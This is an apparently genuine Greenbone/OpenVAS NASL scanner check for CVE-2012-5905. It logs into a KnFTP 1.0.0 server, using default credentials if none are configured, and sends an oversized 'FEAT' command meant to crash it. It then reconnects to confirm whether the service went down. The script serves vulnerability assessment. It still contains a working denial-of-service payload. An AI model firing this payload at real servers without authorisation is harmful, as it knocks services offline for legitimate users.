KnFTP Server 'FEAT' Command Remote Denial of Service Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902826");
  script_version("2025-03-05T05:38:53+0000");
  script_cve_id("CVE-2012-5905");
  script_tag(name:"cvss_base", value:"4.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:N/I:N/A:P");
  script_tag(name:"last_modification", value:"2025-03-05 05:38:53 +0000 (Wed, 05 Mar 2025)");
  script_tag(name:"creation_date", value:"2012-03-29 16:16:16 +0530 (Thu, 29 Mar 2012)");
  script_name("KnFTP Server 'FEAT' Command Remote Denial of Service Vulnerability");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("FTP");
  script_dependencies("ftpserver_detect_type_nd_version.nasl", "logins.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/ftp_ready_banner/detected");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/52805");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/18671");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/111296/knftpd-dos.txt");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to crash the
  affected application, denying service to legitimate users.");

  script_tag(name:"affected", value:"KnFTP Server version 1.0.0.");

  script_tag(name:"insight", value:"The flaw is caused by an error when handling 'FEAT' command, which
  can be exploited to crash the FTP service by sending specially crafted FTP commands.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"KnFTP Server is prone to a denial of service (DoS) vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

ftpPort = ftp_get_port(default:21);

banner = ftp_get_banner(port:ftpPort);
if(! banner || "220 FTP Server ready." >!< banner){
  exit(0);
}

soc = open_sock_tcp(ftpPort);
if(! soc){
  exit(0);
}

kb_creds = ftp_get_kb_creds(default_login:"system", default_pass:"secret");
user = kb_creds["login"];
pass = kb_creds["pass"];

login_details = ftp_log_in(socket:soc, user:user, pass:pass);
if(! login_details){
  exit(0);
}

exploit = "FEAT " + crap(data:"./A",length:256*3);

ftp_send_cmd(socket:soc, cmd:exploit);
ftp_close(socket:soc);
sleep(3);

soc1 = open_sock_tcp(ftpPort);
if(! soc1)
{
  security_message(ftpPort);
  exit(0);
}
ftp_close(socket:soc1);